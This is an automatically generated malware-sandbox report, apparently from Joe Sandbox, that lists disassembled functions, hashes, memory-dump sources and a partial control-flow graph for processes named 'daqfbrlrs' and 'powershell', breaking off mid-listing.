                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9b32144b881024d110d1c2ec5f9db4150cd8db0bc0266e71d50aee012ebb6030
                                                            • Instruction ID: 4e6a7022a51d9ac893d64701dbcc61e8d322de6305c526bf0f014d500d48d222
                                                            • Opcode Fuzzy Hash: 9b32144b881024d110d1c2ec5f9db4150cd8db0bc0266e71d50aee012ebb6030
                                                            • Instruction Fuzzy Hash: 1001C474A08229CFCB64DF58D984AE9B7F1FB59301F0042E9E54EA7744DB709E898F40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70D70 Relevance: .0, Instructions: 28COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b35dd190dbef104888bff6a50d96c342a0ef638ccf14cb6f39cdf45956133788
                                                            • Instruction ID: a1079b1e0ed0d786e5603653d470b33f7ee3e57e43d8b1bad5d9ea24baa6f87f
                                                            • Opcode Fuzzy Hash: b35dd190dbef104888bff6a50d96c342a0ef638ccf14cb6f39cdf45956133788
                                                            • Instruction Fuzzy Hash: 4BE06D323005005B4204DB5EA85085BF7DAFBC9560354C53EE01DCB350EE22AC068B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D71518 Relevance: .0, Instructions: 27COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 89ed27816367bf86f38c34437d72e4436d5c0db78d1a7121e0087073030c8c13
                                                            • Instruction ID: a5ff698314b02a9a98310feb8becd19218480d8f6d271ba2b7935ad7a7eb71ef
                                                            • Opcode Fuzzy Hash: 89ed27816367bf86f38c34437d72e4436d5c0db78d1a7121e0087073030c8c13
                                                            • Instruction Fuzzy Hash: B0E048327041249FDB18DAA5B4005DA77EDD748265F10007BD50DC3644EA32D950C790
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D744F0 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3f8128aa6241800e5ab4343fe924b895a2540034904e15a96f73947cb727a858
                                                            • Instruction ID: 09bd149980ad7b9e4805a69cea7450bf8d7a452dc880fe18fc7f43799ca494d0
                                                            • Opcode Fuzzy Hash: 3f8128aa6241800e5ab4343fe924b895a2540034904e15a96f73947cb727a858
                                                            • Instruction Fuzzy Hash: 2EE09B357000048FCB15DBA8E45069DB7F1FF84224F14856ED01AAB340DF35DC068B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70C81 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3aa3b571b05eefc675020ee963118130cb8fe75f0f829bc035da9006053c612c
                                                            • Instruction ID: 1559d72a4416ef74153c92774e0b9e676b0d760aae61de6699d0875e381fbe4c
                                                            • Opcode Fuzzy Hash: 3aa3b571b05eefc675020ee963118130cb8fe75f0f829bc035da9006053c612c
                                                            • Instruction Fuzzy Hash: 57E09AB2A01309AFCB45EFA8EA4149CBBB4EF1631071041E9D844DB222EA346E01DB81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D35830 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 408812d91709405a2ee5d99d878ba720b0736445029220fea84966b246604848
                                                            • Instruction ID: 6db26df6e9f3bea7e531cf346aece191f60d0266dd1f250dd41f9d48ffe6c560
                                                            • Opcode Fuzzy Hash: 408812d91709405a2ee5d99d878ba720b0736445029220fea84966b246604848
                                                            • Instruction Fuzzy Hash: A5E0C274E05208EFCB94DFA8E441AACBBF4EB48310F10C0AAE819A3340DA359A51DF80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D39900 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 408812d91709405a2ee5d99d878ba720b0736445029220fea84966b246604848
                                                            • Instruction ID: 75ea8b368cc85315e31e9251fabc983f05ec910c0bea5e7d06b6a58a895d2824
                                                            • Opcode Fuzzy Hash: 408812d91709405a2ee5d99d878ba720b0736445029220fea84966b246604848
                                                            • Instruction Fuzzy Hash: FDE0E574E0520CEFCB94DFA8D440AACFBF4EB48310F10C0AAE858A7351E6759A51DF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3DC78 Relevance: .0, Instructions: 22COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 91e5e19dd4ce8b5b30c96223d70fbdc2b5dae8e8a47a9eb6a30a307af450bde3
                                                            • Instruction ID: 0d5b579ef9f6d91e9087637f773f1bdef49f925b26d2a0089a8b67639a65b72e
                                                            • Opcode Fuzzy Hash: 91e5e19dd4ce8b5b30c96223d70fbdc2b5dae8e8a47a9eb6a30a307af450bde3
                                                            • Instruction Fuzzy Hash: BDE04F70D1520DDFDB94EFF8E54979DBBF5AB48301F2040A9E84893380DA705A40CF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D7290F Relevance: .0, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 12079aa0943a02dd32eaac2f4bf4d8b4d25c7ecea4842653964c86a2dc7bad6e
                                                            • Instruction ID: e0074fc5c2e6eeb3745b83c74ee96c95f3e2be1e187cdd47fb41b1427812aa4b
                                                            • Opcode Fuzzy Hash: 12079aa0943a02dd32eaac2f4bf4d8b4d25c7ecea4842653964c86a2dc7bad6e
                                                            • Instruction Fuzzy Hash: 7FE01232A01208FFCB15DFA8EA8168EB7B5FB45304F2046A8D409D7244DB316A529B42
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3F0F0 Relevance: .0, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 396f2f70a51970b16305eb1227c4af045c1b12ad0a6b1202402d3c45c132e6ef
                                                            • Instruction ID: 5f2df7a6c27cab4c5cd686a4b4ef8dd31a4565aa3bfedc9c6cca5b74d12e2e56
                                                            • Opcode Fuzzy Hash: 396f2f70a51970b16305eb1227c4af045c1b12ad0a6b1202402d3c45c132e6ef
                                                            • Instruction Fuzzy Hash: DBE08CB4D0921CEFC754DFA8E8409ADBFB8EB49310F20C0A9E84857341CA319A92DB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D38360 Relevance: .0, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 549aa78d161bd9bcd6deaf999a3bd401a2e5071bc0ffd63950efe1c800e8e234
                                                            • Instruction ID: c1abbf79c5dac06f7bbc40a68d1223f3abb678ed11c8ddd55a9ca571cb9e47c5
                                                            • Opcode Fuzzy Hash: 549aa78d161bd9bcd6deaf999a3bd401a2e5071bc0ffd63950efe1c800e8e234
                                                            • Instruction Fuzzy Hash: 38E04F34D05118EFC754DFA8D4406ACFBF4EB49304F20C0E9E85893341C6359A41DF80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F50938 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504296430.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f50000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cfa03c44b63c3ef4e4eb7e103f8344e91f037f24d9a31a6d6fc54542d6d691ad
                                                            • Instruction ID: 548350d5bea80a1a4ead6b1c0206fac072db85d87cfb4e35a4f01bc31f6657b1
                                                            • Opcode Fuzzy Hash: cfa03c44b63c3ef4e4eb7e103f8344e91f037f24d9a31a6d6fc54542d6d691ad
                                                            • Instruction Fuzzy Hash: 79E0C270A8F1958FD722CB789A51AAA3F70AB43308F1014D9D940132E7DE350A46D745
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3CF80 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4260baab511a3b90ad8d6ff066c2981a37f0f3407ee7be410d3ed67ab0fdb373
                                                            • Instruction ID: 47dd5e5ad37d0ace05a33bb8a224d8131480e42790dee732f70cc7b266e968c3
                                                            • Opcode Fuzzy Hash: 4260baab511a3b90ad8d6ff066c2981a37f0f3407ee7be410d3ed67ab0fdb373
                                                            • Instruction Fuzzy Hash: 31E0123490A118EFCB54DFA4E5459ACBBB4EB45314F2091A9D80927341CA319E52DB81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3D118 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4260baab511a3b90ad8d6ff066c2981a37f0f3407ee7be410d3ed67ab0fdb373
                                                            • Instruction ID: 06bc0b0454007835c824b225890b531e81ebd3280ca27b52f69f37a16541a25e
                                                            • Opcode Fuzzy Hash: 4260baab511a3b90ad8d6ff066c2981a37f0f3407ee7be410d3ed67ab0fdb373
                                                            • Instruction Fuzzy Hash: 86E01234909118EFD754DFA4E9419ACFBB9EF45314F2091ADD84817345CA319E52DF81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F50948 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504296430.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f50000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 390943d07be528e4ede61f2d6060908387028913dfb376fb4bf5254210d3c9c7
                                                            • Instruction ID: 3e61a81777363154c1d452774b30f09fde7258afae91599027b3078566ab14ed
                                                            • Opcode Fuzzy Hash: 390943d07be528e4ede61f2d6060908387028913dfb376fb4bf5254210d3c9c7
                                                            • Instruction Fuzzy Hash: 39D0233054710CDFD764CAA8D400B6977ECD742300F101054ED0413320DE301E40D740
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72920 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2cb441bbeb42dcb7a4c2c8355d0dba0bb32f99691306cd349b689e352224e085
                                                            • Instruction ID: a9a17462d0a2b19f8aecfd151efc1a18e7b3c643c45fbf0dcd78fa3849b8cc60
                                                            • Opcode Fuzzy Hash: 2cb441bbeb42dcb7a4c2c8355d0dba0bb32f99691306cd349b689e352224e085
                                                            • Instruction Fuzzy Hash: 2FD01230901108FF8B04DFB4EA0155EB7B5FB44210B1046A8D409D7244DB316F109B41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70C90 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1f2ee002e9dce5bb6385f9043b77b8fbd6453d46af05374a7c97ffe9909ef04d
                                                            • Instruction ID: 2a6d3a6047a282cc75ebad32e9c33f9e619a6369008d969c1ffdf6a9f8015987
                                                            • Opcode Fuzzy Hash: 1f2ee002e9dce5bb6385f9043b77b8fbd6453d46af05374a7c97ffe9909ef04d
                                                            • Instruction Fuzzy Hash: 6ED017B0A01209EF8F04EFA9EA0159DB7F9EB44200B1082A8DC08EB244EB716E109B81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3D508 Relevance: .0, Instructions: 12COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 83de0542dc78de6815ad5a7268f4b619b88aa9bf4265fa446064d26c01ea1587
                                                            • Instruction ID: 063e01c8f72d7516361b1f2a84bd653e32b79739f0280b8bf99f4b292d477805
                                                            • Opcode Fuzzy Hash: 83de0542dc78de6815ad5a7268f4b619b88aa9bf4265fa446064d26c01ea1587
                                                            • Instruction Fuzzy Hash: 8BC08CA004A6198AEAA416986009370B7ACCB0720DF442820B10D01010CA708090CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72AF0 Relevance: .0, Instructions: 11COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4551a659e8a213577d67485fd273f9f681e7e5488a2a58e35c6157f94d7fd84f
                                                            • Instruction ID: ecf2aaa26d3842aff7320fb1baa3ec7e8bf6d4dfac2a0dfaa9bf9ea222a8ae05
                                                            • Opcode Fuzzy Hash: 4551a659e8a213577d67485fd273f9f681e7e5488a2a58e35c6157f94d7fd84f
                                                            • Instruction Fuzzy Hash: BAB092312682480AEB749AB67C09B26728C9780618F800071F80CC1A45F65AE8A09640
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72961 Relevance: .0, Instructions: 9COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 93c5e66ef1e78312509889c2a179ce117ff506fadea5449edd4b320da7c7f5c3
                                                            • Instruction ID: 5689df2680f120361bd747aa03ff53adf2e8a051c96b03d0f3f18b37aa542336
                                                            • Opcode Fuzzy Hash: 93c5e66ef1e78312509889c2a179ce117ff506fadea5449edd4b320da7c7f5c3
                                                            • Instruction Fuzzy Hash: 8EC09236A59260ABEF654BB4DD677463A60EFA2B16F0C5090E149A96C8C2A061248726
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Execution Graph

                                                            Execution Coverage:6.3%
                                                            Dynamic/Decrypted Code Coverage:0%
                                                            Signature Coverage:0%
                                                            Total number of Nodes:3
                                                            Total number of Limit Nodes:0
                                                            execution_graph 23058 8cf6828 23059 8cf682c SetThreadToken 23058->23059 23061 8cf6899 23059->23061

                                                            Executed Functions

                                                            Function 0349B490 Relevance: 2.8, Strings: 2, Instructions: 252COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 587 349b490-349b4a9 588 349b4ab 587->588 589 349b4ae-349b7f5 call 349acbc 587->589 588->589
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: {Ybo^$Ybo^
                                                            • API String ID: 0-1901484000
                                                            • Opcode ID: 1500bf803763d7b5142fe8ae15a3e7f6731f6adb3f31e301197e191e34ef9f6c
                                                            • Instruction ID: 9bab00d23420b05ea2af67e08d1933d0ab0c4dea5c83b740b96d5b529e5c4506
                                                            • Opcode Fuzzy Hash: 1500bf803763d7b5142fe8ae15a3e7f6731f6adb3f31e301197e191e34ef9f6c
                                                            • Instruction Fuzzy Hash: EB917175F006195BDF1AEFB484146AEBBF2EF84604B00892DD14AAF344DF746D0A8BD6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B82308 Relevance: 20.6, Strings: 16, Instructions: 638COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$pi1k$pi1k$pi1k$pi1k$pi1k$|,3k$Jjl$Jjl$Jjl$Jjl$Jjl$Jjl$ril$ril
                                                            • API String ID: 0-1655663588
                                                            • Opcode ID: aa6486f277fe87f83cd43f29d68d6bb3b7e930d7ac2b07a7d17c6ec479544e1f
                                                            • Instruction ID: 069382848a231a527ba9a74cce4b5d1833bbb844f0c439ac595205e2511979fd
                                                            • Opcode Fuzzy Hash: aa6486f277fe87f83cd43f29d68d6bb3b7e930d7ac2b07a7d17c6ec479544e1f
                                                            • Instruction Fuzzy Hash: B52224F5B00206DFEB64AE69D8516EABBE2FF85310F1480FAE905CB251DA31DC45C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B83CE8 Relevance: 5.6, Strings: 4, Instructions: 570COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 207 7b83ce8-7b83d0d 208 7b83f00-7b83f4a 207->208 209 7b83d13-7b83d18 207->209 217 7b840ce-7b84112 208->217 218 7b83f50-7b83f55 208->218 210 7b83d1a-7b83d20 209->210 211 7b83d30-7b83d34 209->211 213 7b83d22 210->213 214 7b83d24-7b83d2e 210->214 215 7b83d3a-7b83d3c 211->215 216 7b83eb0-7b83eba 211->216 213->211 214->211 221 7b83d4c 215->221 222 7b83d3e-7b83d4a 215->222 219 7b83ec8-7b83ece 216->219 220 7b83ebc-7b83ec5 216->220 236 7b84228-7b8425d 217->236 237 7b84118-7b8411d 217->237 223 7b83f6d-7b83f71 218->223 224 7b83f57-7b83f5d 218->224 225 7b83ed0-7b83ed2 219->225 226 7b83ed4-7b83ee0 219->226 228 7b83d4e-7b83d50 221->228 222->228 233 7b84080-7b8408a 223->233 234 7b83f77-7b83f79 223->234 229 7b83f5f 224->229 230 7b83f61-7b83f6b 224->230 232 7b83ee2-7b83efd 225->232 226->232 228->216 235 7b83d56-7b83d75 228->235 229->223 230->223 239 7b8408c-7b84094 233->239 240 7b84097-7b8409d 233->240 241 7b83f89 234->241 242 7b83f7b-7b83f87 234->242 270 7b83d85 235->270 271 7b83d77-7b83d83 235->271 265 7b8428b-7b84295 236->265 266 7b8425f-7b84281 236->266 245 7b8411f-7b84125 237->245 246 7b84135-7b84139 237->246 248 7b8409f-7b840a1 240->248 249 7b840a3-7b840af 240->249 247 7b83f8b-7b83f8d 241->247 242->247 253 7b84129-7b84133 245->253 254 7b84127 245->254 255 7b841da-7b841e4 246->255 256 7b8413f-7b84141 246->256 247->233 251 7b83f93-7b83fb2 247->251 252 7b840b1-7b840cb 248->252 249->252 294 7b83fc2 251->294 295 7b83fb4-7b83fc0 251->295 253->246 254->246 259 7b841f1-7b841f7 255->259 260 7b841e6-7b841ee 255->260 263 7b84151 256->263 264 7b84143-7b8414f 256->264 268 7b841f9-7b841fb 259->268 269 7b841fd-7b84209 259->269 272 7b84153-7b84155 263->272 264->272 274 7b8429f-7b842a5 265->274 275 7b84297-7b8429c 265->275 304 7b84283-7b84288 266->304 305 7b842d5-7b842fe 266->305 278 7b8420b-7b84225 268->278 269->278 279 7b83d87-7b83d89 270->279 271->279 272->255 277 7b8415b-7b8415d 272->277 281 7b842ab-7b842b7 274->281 282 7b842a7-7b842a9 274->282 283 7b8415f-7b84165 277->283 284 7b84177-7b8417e 277->284 279->216 287 7b83d8f-7b83d96 279->287 289 7b842b9-7b842d2 281->289 282->289 290 7b84169-7b84175 283->290 291 7b84167 283->291 292 7b84180-7b84186 284->292 293 7b84196-7b841d7 284->293 287->208 297 7b83d9c-7b83da1 287->297 290->284 291->284 300 7b84188 292->300 301 7b8418a-7b84194 292->301 302 7b83fc4-7b83fc6 294->302 295->302 306 7b83db9-7b83dc8 297->306 307 7b83da3-7b83da9 297->307 300->293 301->293 302->233 309 7b83fcc-7b84003 302->309 323 7b8432d-7b8435c 305->323 324 7b84300-7b84326 305->324 306->216 318 7b83dce-7b83dec 306->318 311 7b83dab 307->311 312 7b83dad-7b83db7 307->312 333 7b8401d-7b84024 309->333 334 7b84005-7b8400b 309->334 311->306 312->306 318->216 330 7b83df2-7b83e17 318->330 331 7b8435e-7b8437b 323->331 332 7b84395-7b8439f 323->332 324->323 330->216 357 7b83e1d-7b83e24 330->357 350 7b8437d-7b8438f 331->350 351 7b843e5-7b843ea 331->351 339 7b843a8-7b843ae 332->339 340 7b843a1-7b843a5 332->340 337 7b8403c-7b8407d 333->337 338 7b84026-7b8402c 333->338 335 7b8400d 334->335 336 7b8400f-7b8401b 334->336 335->333 336->333 343 7b8402e 338->343 344 7b84030-7b8403a 338->344 345 7b843b0-7b843b2 339->345 346 7b843b4-7b843c0 339->346 343->337 344->337 352 7b843c2-7b843e2 345->352 346->352 350->332 351->350 359 7b83e6a-7b83e9d 357->359 360 7b83e26-7b83e41 357->360 371 7b83ea4-7b83ead 359->371 364 7b83e5b-7b83e5f 360->364 365 7b83e43-7b83e49 360->365 369 7b83e66-7b83e68 364->369 366 7b83e4b 365->366 367 7b83e4d-7b83e59 365->367 366->364 367->364 369->371
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$4'^q$4'^q
                                                            • API String ID: 0-1420252700
                                                            • Opcode ID: f36b1cde5c7731c15a9b8f6382aa12c1963ef198544bf3616459f195f5f501e5
                                                            • Instruction ID: c00ee51d32bb86746445ec81530cc3041577f4ac8f1ffaa73b114faf6e44482d
                                                            • Opcode Fuzzy Hash: f36b1cde5c7731c15a9b8f6382aa12c1963ef198544bf3616459f195f5f501e5
                                                            • Instruction Fuzzy Hash: B50254F1B042568FEB65AF69C81076BBBE2EFC1710F2484BAD5058B391DB32D845C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B817B8 Relevance: 2.8, Strings: 2, Instructions: 328COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 491 7b817b8-7b817da 492 7b81969-7b819b5 491->492 493 7b817e0-7b817e5 491->493 501 7b819bb-7b819c0 492->501 502 7b81b04-7b81b34 492->502 494 7b817fd-7b81801 493->494 495 7b817e7-7b817ed 493->495 499 7b81914-7b8191e 494->499 500 7b81807-7b8180b 494->500 497 7b817ef 495->497 498 7b817f1-7b817fb 495->498 497->494 498->494 503 7b8192c-7b81932 499->503 504 7b81920-7b81929 499->504 505 7b8184b 500->505 506 7b8180d-7b8181e 500->506 507 7b819d8-7b819dc 501->507 508 7b819c2-7b819c8 501->508 526 7b81b44 502->526 527 7b81b36-7b81b42 502->527 511 7b81938-7b81944 503->511 512 7b81934-7b81936 503->512 509 7b8184d-7b8184f 505->509 506->492 523 7b81824-7b81829 506->523 518 7b819e2-7b819e4 507->518 519 7b81ab4-7b81abe 507->519 513 7b819ca 508->513 514 7b819cc-7b819d6 508->514 509->499 515 7b81855-7b81859 509->515 516 7b81946-7b81966 511->516 512->516 513->507 514->507 515->499 524 7b8185f-7b81863 515->524 528 7b819f4 518->528 529 7b819e6-7b819f2 518->529 521 7b81acc-7b81ad2 519->521 522 7b81ac0-7b81ac9 519->522 535 7b81ad8-7b81ae4 521->535 536 7b81ad4-7b81ad6 521->536 533 7b8182b-7b81831 523->533 534 7b81841-7b81849 523->534 537 7b81865-7b8186e 524->537 538 7b81886 524->538 530 7b81b46-7b81b48 526->530 527->530 531 7b819f6-7b819f8 528->531 529->531 540 7b81b4a-7b81b50 530->540 541 7b81b7c-7b81b86 530->541 531->519 542 7b819fe-7b81a16 531->542 543 7b81833 533->543 544 7b81835-7b8183f 533->544 534->509 546 7b81ae6-7b81b01 535->546 536->546 547 7b81870-7b81873 537->547 548 7b81875-7b81882 537->548 545 7b81889-7b81911 538->545 549 7b81b5e-7b81b79 540->549 550 7b81b52-7b81b54 540->550 553 